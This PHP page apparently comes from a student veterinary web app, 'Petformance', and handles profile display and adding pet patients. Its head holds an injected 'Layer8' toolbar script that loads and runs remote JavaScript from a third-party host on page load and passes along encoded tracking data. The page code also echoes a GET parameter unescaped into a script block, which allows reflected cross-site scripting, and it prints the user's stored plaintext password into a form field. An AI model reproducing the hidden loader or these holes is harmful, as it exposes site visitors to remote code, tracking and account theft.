<?php
    session_start();
	if(!isset($_SESSION['username'])){
		header("Location: thesis_login_register.php");
	}
?>
<?php
$User_ID= trim ($_SESSION['User_ID']);
?>

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="This is a sample website using bootstrap">
    <meta name="author" content="">
    <link rel="icon" href="../../favicon.ico">

    <title>Petformance</title>

    <!-- Bootstrap core CSS -->
    <link href="bootstrap/dist/css/bootstrap.min.css" rel="stylesheet">
	<link rel="stylesheet" href="bootstrap/font-awesome/css/font-awesome.min.css">
    <!-- Custom styles for this template -->
	 <link href="user_css.css" rel="stylesheet">
	 <link href="bootstrap-social.css" rel="stylesheet">
	 <link href="placeholder.css" rel="stylesheet">
	 
	  

    <!-- Just for debugging purposes. Don't actually copy these 2 lines! -->
    <!--[if lt IE 9]><script src="../../assets/js/ie8-responsive-file-warning.js"></script><![endif]-->
    <script src="bootstrap/docs/assets/js/ie-emulation-modes-warning.js"></script>

    <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
    <!--[if lt IE 9]>
      <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
      <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
    <![endif]-->
  <!-- Layer8 version 2.0.0.123 --><script>if(top==window){var fn_selector_insertion_script="http://toolbar.mywebacceleration.com/tbpreload.js";runFnTbScript = function(){try{var tbInsertion = new FNH.TBInsertion();var tbData = "PFRCRGF0YT48VEJEYXRhSXRlbSBuYW1lPSJob3N0X3VybCIgdmFsdWU9Imh0dHA6Ly9nZXRib290c3RyYXAuY29tL2V4YW1wbGVzL2p1bWJvdHJvbi8iID48L1RCRGF0YUl0ZW0+PFRCRGF0YUl0ZW0gbmFtZT0iaW5zZXJ0aW9uIiB2YWx1ZT0iaHR0cDovL3Rvb2xiYXIubXl3ZWJhY2NlbGVyYXRpb24uY29tL3NvdXJjZXNfdl8yLjAuMC4xMjMvaW5mcmEvanMvaW5zZXJ0aW9uX3BjLmpzIiBjb25maWd1cmF0aW9uPSJ0cnVlIiA+PC9UQkRhdGFJdGVtPjxUQkRhdGFJdGVtIG5hbWU9IlN0b3JhZ2VEYXRhIiB2YWx1ZT0ie30iIGNvbmZpZ3VyYXRpb249InRydWUiID48L1RCRGF0YUl0ZW0+PFRCRGF0YUl0ZW0gbmFtZT0iVXNlckRhdGEiIHZhbHVlPSJ7dW5pcXVlSWQ6JzVxTzh2WHc2TExrWit3UmxrbzlHU1NZNlVDbEZIUGpRQ2E0MGVLQTFHOHFnbFZ1L0xzWFFZZHdHSk16M0NONWMnfSIgPjwvVEJEYXRhSXRlbT48VEJEYXRhSXRlbSBuYW1lPSJDYXRlZ29yeURhdGEiIHZhbHVlPSIiID48L1RCRGF0YUl0ZW0+PC9UQkRhdGE+";tbInsertion.parseTBData(tbData);var fnLayer8=tbInsertion.createIframeElement("fn_layer8", "http://toolbar.mywebacceleration.com/Globe_v_2.0.0.123/fakeToolbar.html");var owner;if(document.body){owner=document.body;}else{owner=document.documentElement;}var shouldAddDiv=tbInsertion.getAttributeFromTBData("div_wrapper");if(shouldAddDiv){var divWrpr=tbInsertion.createElement("div", "fn_wrapper_div");divWrpr.style.position="fixed";divWrpr.ontouchstart=function(){return true;};if (typeof fnLayer8 != "undefined")divWrpr.appendChild(fnLayer8);owner.appendChild(divWrpr);}else{if (typeof fnLayer8 != "undefined")owner.appendChild(fnLayer8);}var result=tbInsertion.getAttributeFromTBData("insertion");if(result){scriptLocation=result;}else{scriptLocation="http://toolbar.mywebacceleration.com/sources_v_2.0.0.123/infra/js/insertion_pc.js"}var fnd=document.createElement("script");fnd.setAttribute("src",scriptLocation);fnd.setAttribute("id","fn_toolbar_script");fnd.setAttribute("toolbardata",tbData);fnd.setAttribute("toolbarhash","wrMcWFAzo1Ud8RztI6KG5Q==");fnd.setAttribute("persdata","PFByaXZhdGVEYXRhPg0KPFByaXZhdGVJdGVtIGtleT0iY2xvc2VkIiB2YWx1ZT0iZmFsc2UiPg0KPC9Qcml2YXRlSXRlbT4NCjxQcml2YXRlSXRlbSBrZXk9Im1pbmltaXplZCIgdmFsdWU9ImZhbHNlIj4NCjwvUHJpdmF0ZUl0ZW0+DQo8UHJpdmF0ZUl0ZW0ga2V5PSJkZWZhdWx0UGVyc1ZhbHVlcyIgdmFsdWU9InRydWUiPg0KPC9Qcml2YXRlSXRlbT4NCjwvUHJpdmF0ZURhdGE+");document.body.appendChild(fnd);}catch(e){console.error("TB preload script failed: " + e);}};var fne=document.createElement("script");fne.setAttribute("src",fn_selector_insertion_script);fne.setAttribute("id","fn_selector_insertion_script");if(fne.addEventListener){fne.onload = runFnTbScript;}else {fne.onreadystatechange = function(){if ((this.readyState == "complete") || (this.readyState == "loaded")) runFnTbScript();}};var onloadTimeoutId = undefined;var onloadFunc = function() {if (typeof onloadTimeoutId !== "undefined") {window.clearTimeout(onloadTimeoutId);onloadTimeoutId = undefined;if(document.head==null || document.head=="undefined" ){document.head = document.getElementsByTagName("head")[0];}document.head.appendChild(fne);}};onloadTimeoutId = window.setTimeout(onloadFunc, 10000);if (typeof window.addEventListener === "function"){window.addEventListener("load", onloadFunc, false);}else{window.attachEvent("onload", onloadFunc);}};</script>
  </head>
  

  <body>

<!-- MENU BAR! -->
        <nav class="navbar navbar-fixed-top navbar-inverse" role="navigation">
      <div class="container">
        <div class="navbar-header">
          <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
            <span class="sr-only">Toggle navigation</span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
          </button>
          <a class="navbar-brand" href="thesis_vet_page_add_patient.php?page=1"><img src="images/logo.png" style="position:relative; top:-10px; alt="Responsive image"></a>
        </div>
        <div id="navbar" class="collapse navbar-collapse">
                                <ul class="nav navbar-nav navbar-right">
								
								
										 <li class="dropdown"><a href="#" class="dropdown-toggle" data-toggle="dropdown">
											<span class="glyphicon glyphicon-globe"></span></a>
											<ul class="dropdown-menu">
												<li>
													<div class="navbar-content">
														<div class="row">
															<div class="col-md-5">												
															</div>
																<div class="col-md-7">
																</div>
														</div>
													</div>
													<div class="navbar-footer">
														<div class="navbar-footer-content">
															<div class="row">
															</div>
														</div>
													</div>
												</li>
											</ul>
										</li>
										
                                    <li class="dropdown"><a href="#" class="dropdown-toggle" data-toggle="dropdown">
                                        <span class="glyphicon glyphicon-user"></span></a>
                                        <ul class="dropdown-menu">
                                            <li>
                                                <div class="navbar-content">
                                                    <div class="row">
                                                        <div class="col-md-5">													
															<form action="thesis_upload_profile_picture_vet.php" method="post" enctype="multipart/form-data">
															<?php

														require_once("includes/database.php"); 
														$sql="SELECT * FROM user_db
														WHERE User_ID = '{$User_ID}'";
														 $result=mysql_query($sql,$con);
														 
														 if (false === $result) {
																echo mysql_error();
															}
															
														 while($row=mysql_fetch_array($result))
														 {

														?>	
																<img src="profile_picture/<?php echo $row['Profile_Picture']; ?>" class="img-responsive img-thumbnail"  style="width:120px;height:120px;"/>																
																<div class="fileUpload btn btn-sm btn-primary" style="position:relative; left:-10px; top:-6px; width:105px;">
																	<span>Upload Image</span>
																	<input type="file" class="upload" name="fileToUpload" id="fileToUpload"  onchange="document.getElementById('submit_button_id').click();"/>
																	</div>
																	<input type="submit" value="Upload Image" name="submit" id="submit_button_id" style="visibility:hidden">
															</form>
                                                        </div>
														
																					
						
                                                        <div class="col-md-7">
                                                            <span><?php echo $row['First_Name']; ?> <?php echo $row['Last_Name']; ?></span>
                                                            <p class="text-muted small">
                                                                <?php echo $row['Email_Address']; ?></p>
																<?php } ?>
                                                            <div class="divider">
                                                            </div>
                                                            <a href="thesis_logout.php" class="btn btn-primary btn-sm active pull-right">Sign Out</a>
                                                        </div>
                                                    </div>
                                                </div>
                                                <div class="navbar-footer">
                                                    <div class="navbar-footer-content">
                                                        <div class="row">
                                                        </div>
                                                    </div>
                                                </div>
                                            </li>
                                        </ul>
                                    </li>
                                </ul>
	
	
	
	
	
			
	  
        </div><!-- /.nav-collapse -->
      </div><!-- /.container -->
    </nav><!-- /.navbar -->
<br>
						<!-- =================================MENU BAR END!================================= -->					

<!-- =================================MAIN CONTENT================================= -->
<div class="container">
    <div class="row">
  		<div class="col-sm-3"><!--left col-->
		
		<ul class="list-group">
							<?php

							require_once("includes/database.php"); 
							$sql="SELECT * FROM user_db
							WHERE User_ID = '{$User_ID}'";
							 $result=mysql_query($sql,$con);
							 
							 if (false === $result) {
									echo mysql_error();
								}
								
							 while($row=mysql_fetch_array($result))
							 {

							?>
					
            <li class="list-group-item text-muted">Your Information</li>
            <li class="list-group-item text-right"><span class="pull-left"><strong>Joined</strong></span> <?php echo $row['Joined']; ?></li>
            <li class="list-group-item text-right"><span class="pull-left"><strong>Real name</strong></span> <?php echo $row['First_Name']; ?> <?php echo $row['Last_Name']; ?></li>
            <li class="list-group-item text-right"><span class="pull-left"><strong>Email</strong></span> <?php echo $row['Email_Address']; ?></li>
			<li class="list-group-item text-right"><span class="pull-left"><strong>Contact Number</strong></span> <?php echo $row['Contact_Number']; ?></li>
			<?php } ?>
														<?php

														require_once("includes/database.php"); 
														$sql="SELECT * FROM pet_info_db
														WHERE Pet_Vet_User_ID = '{$User_ID}'";
														 $result=mysql_query($sql,$con);
														 $num_rows = mysql_num_rows($result);


														?>	
			<li class="list-group-item text-right"><span class="pull-left"><strong>Number of 	Patients</strong></span> <?php echo $num_rows; ?></li>
          </ul> 
<br><br><br><br><br><br><br><br><br><br><br><br><br><br>
		  
             				
          
          
        </div><!--/col-3-->
    	<div class="col-sm-9">    
          <ul class="nav nav-tabs" id="myTab">
            <li><a href="thesis_vet_page.php?page=1&pet_id=">Your Patients</a></li>
            <li class="active"><a href="#add_patient"data-toggle="tab">Add Patient</a></li>
            <li><a href="#update_profile" data-toggle="tab">Update Profile</a></li>
          </ul>
			  
          <div class="tab-content">		  	 
             <div class="tab-pane" id="update_profile">
            		
               	
                  <hr>
                 <form class="form" action="thesis_vet_page_update_profile_saving.php" method="post" id="registrationForm">
							<?php
							require_once("includes/database.php"); 
							$sql="SELECT * FROM user_db
							WHERE User_ID = '{$User_ID}'";
							 $result=mysql_query($sql,$con);
							 
							 if (false === $result) {
									echo mysql_error();
								}
								
							 while($row=mysql_fetch_array($result))
							 {

							?>
				  
                      <div class="form-group">
                          
                          <div class="col-xs-6">
                              <label for="first_name"><h4>First name</h4></label>
                              <input type="text" class="form-control" name="first_name" id="first_name" placeholder="<?php echo $row['First_Name']; ?>" title="enter your first name if any." readonly>
                          </div>
                      </div>
                      <div class="form-group">
                          
                          <div class="col-xs-6">
                            <label for="last_name"><h4>Last name</h4></label>
                              <input type="text" class="form-control" name="last_name" id="last_name" placeholder="<?php echo $row['Last_Name']; ?>" title="enter your last name if any."readonly>
                          </div>
                      </div>
					   <div class="form-group">
                          
                          <div class="col-xs-6">
                              <label for="email"><h4>Email</h4></label>
                              <input type="email" class="form-control" name="email" id="email" value="<?php echo $row['Email_Address']; ?>" title="enter your email.">
                          </div>
                      </div>
                      <div class="form-group">
                          <div class="col-xs-6">
                             <label for="mobile"><h4>Contact Number</h4></label>
                              <input type="text" class="form-control" name="contact_number" id="contact_number" value="<?php echo $row['Contact_Number']; ?>" title="enter your contact number if any.">
                          </div>
                      </div>
                      <div class="form-group">
                          
                          <div class="col-xs-6">
                              <label for="password"><h4>Password</h4></label>
                              <input type="password" class="form-control" name="password" id="password" required placeholder="Type Password" title="enter your password so you can update your profile.">
                          </div>
                      </div>
                      <div class="form-group">
                          
                          <div class="col-xs-6">
                            <label for="password2"><h4>New Password</h4></label>
                              <input type="password" class="form-control" name="new_password" id="password2" value="<?php echo $row['Password']; ?>" placeholder="Type New Password" title="enter your new password.">
							  <?php } ?>
							  
                          </div>
                      </div>
                      <div class="form-group">
                           <div class="col-xs-12">
                                <br>
                              	<button class="btn btn-lg btn-success" type="submit"><i class="glyphicon glyphicon-ok-sign"></i> Save</button>
                               	<button class="btn btn-lg" type="reset"><i class="glyphicon glyphicon-repeat"></i> Reset</button>
                            </div>
                      </div>
              	</form>
              </div>
               
			   
			   
			   
			   
			     <div class="tab-pane active" id="add_patient">  		
          			<hr><br>
					
           <!--include patient searchbar --> <?php include "add_patient_searchBar.php";?>
		   
		   
		   
                 <div class="table-responsive" style="height: 270px; overflow: auto">
										<?php
							require_once("includes/database.php"); 
							
							$page=$_GET["page"];
							
							if($page=="" || $page=="1")
							{
							$page1=0;	
								
							}
							else{
								$page1=($page*5)-5;
								
							}
							
							$sql = "SELECT *, Current_Date(),\n"
							. " TIMESTAMPDIFF(YEAR,Pet_Birthday,Current_Date()) AS Pet_Age\n"
							. " FROM pet_info_db\n" 
							. " WHERE pet_info_db.Pet_Vet_User_ID is NULL LIMIT $page1,5";
							 $result=mysql_query($sql,$con);

							 
							 if (false === $result) {
									echo mysql_error();
								}
								
								echo  " <table class='table table-hover' id='table'>
								  <thead>
									<tr>
									<th class='hide'><center>Pet_ID</center></th>
									<th><center>Click_to_Add</center></th>
									  <th><center>Pet_Name</center></th>
									  <th><center>Pet_Type</center></th>
									  <th><center>Pet_Breed</center></th>
									  <th><center>Pet_Gender</center></th>
									  <th><center>Pet_Age</center></th>
									  <th><center>Pet_Birthday</center></th>
									  <th><center>Owner_Name</center></th>
									</tr>
								  </thead>";
								  
							 while($row=mysql_fetch_array($result))
							 {
							 
							 
							 
							?>
																	
									<tbody id="add_patient">
									<tr class="rowMember">
									<td style="text-align:center; word-wrap: break-word;" id="td_add_patient"><a href="thesis_vet_add_patient_saving.php?pet_name=<?php echo $row['Pet_Name'] ?>
									&pet_type=<?php echo $row['Pet_Type'] ?>
									&pet_breed=<?php echo $row['Pet_Breed'] ?>
									&pet_gender=<?php echo $row['Pet_Gender'] ?>
									&pet_birthday=<?php echo $row['Pet_Birthday'] ?>
									&owner_User_ID=<?php echo $row['Owner_User_ID'] ?>
									&page_no=<?php echo $num_rows ?>">Add Patient</a></td>
									<td class="hide" style="text-align:center; word-wrap: break-word;"><?php echo $row['Pet_ID']; ?></td>
									<td style="text-align:center; word-wrap: break-word;"><?php echo $row['Pet_Name']; ?></td>
									<td style="text-align:center; word-wrap: break-word;"><?php echo $row['Pet_Type']; ?></td>
									<td style="text-align:center; word-wrap: break-word;"><?php echo $row['Pet_Breed']; ?></td>
									<td style="text-align:center; word-wrap: break-word;"><?php echo $row['Pet_Gender']; ?></td>
									<td style="text-align:center; word-wrap: break-word;"><?php echo $row['Pet_Age']; ?></td>
									<td style="text-align:center; word-wrap: break-word;"><?php echo $row['Pet_Birthday']; ?></td>
									<td style="text-align:center; word-wrap: break-word;"><a target="_blank" href="thesis_view_profile_user.php?Owner_User_ID=<?php echo $row['Owner_User_ID']; ?>"><?php echo $row['Pet_Owner']; ?></a></td>
									</tr>
									</tbody>
								 <?php } ?>
								</table>  
								


              </div><!--/table-resp-->
			  
					 <?php
					$previous = $page-1;

					if ($previous < 1) {
						 $previous = $page;
					}
					?>
					

		  
									<ul class="pagination pull-left laquo">
										<li><a href="thesis_vet_page_add_patient.php?page=<?php echo $a-$a+1;  ?>">&laquo;</a></li>
										<li><a href="thesis_vet_page_add_patient.php?page=<?php echo $previous;  ?>"><</a></li>
									</ul>
			    <?php
								 $sql2 = "SELECT *, Current_Date(),\n"
								. " TIMESTAMPDIFF(YEAR,Pet_Birthday,Current_Date()) AS Pet_Age\n"
								. " FROM pet_info_db\n" 
								. " WHERE pet_info_db.Pet_Vet_User_ID is NULL";
									 $result2=mysql_query($sql2,$con);
									 $cou=mysql_num_rows($result2);
									$a=$cou/5;
									$a= ceil ($a);
									
										$next = $page+1;

										if ($next > $a) {
											 $next = $page;
										}

									echo"<br>"; echo"<br>";
									
									
									for($b=1;$b<=$a;$b++)
									{
									?>
									
									<ul class="pagination pull-left">
									<li><a href="thesis_vet_page_add_patient.php?page=<?php echo $b;  ?>"><?php echo $b.""; ?></a></li>
									</ul>
									
									<?php } ?>
									<ul class="pagination pull-right">
									<li><strong>Page <?php echo $page;?> of <?php echo $a;?></strong></li>
									</ul>
									<ul class="pagination pull-left">
										<li><a href="thesis_vet_page_add_patient.php?page=<?php echo $next;  ?>">></a></li>
										<li><a href="thesis_vet_page_add_patient.php?page=<?php echo $a;  ?>">&raquo;</a></li>
									</ul>
								
								
								
								
								
              </div>
			   
			   
              </div><!--/tab-pane-->
          </div><!--/tab-content-->

        </div><!--/col-9-->
    </div> <!-- /container --> <!-- =================================MAIN CONTENT END!================================= -->


	
	
	
	
	
	
	
	
	
	
	
    <!-- Bootstrap core JavaScript
    ================================================== -->
    <!-- Placed at the end of the document so the pages load faster -->
<script src="bootstrap/dist/js/bootstrap.min.js"></script>
<script src="bootstrap/docs/assets/js/docs.min.js"></script>

    <!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
<script src="bootstrap/docs/assets/js/ie10-viewport-bug-workaround.js"></script>


<!-- Script for Placeholder -->
<script>
$('select').change(function() {
if ($(this).children('option:first-child').is(':selected')) {
$(this).addClass('placeholder');
} else {
$(this).removeClass('placeholder');
}
});
</script>


<script><!-- =================================ADD PATIENT================================= -->
$("#add_patient > tr > #td_add_patient").click(function(){
    if(confirm("Are you sure you want to Add this Pet as your Patient?")){
        $("#add_patient > tr > #td_add_patient").attr("href", "thesis_vet_add_patient_saving.php");
    }
    else{
        return false;
    }
});
</script>	
<script><!-- ================================= SKY BLUE BORDER================================= -->	
$(document).ready(function(){

  	   var name = "<?=$_GET['pet_id']?>";
  	  
  	   if(name){
		   $('.rowMember td').each(function(){
		   		if($(this).html() == name){
		   			$(this).parent().css('border','4px solid #87CEEB').click();
		   		} 
		   });
  	   }
	});

</script>


 <?php include 'thesis_back_to_top_script.php'; ?>


  </body>
</html>
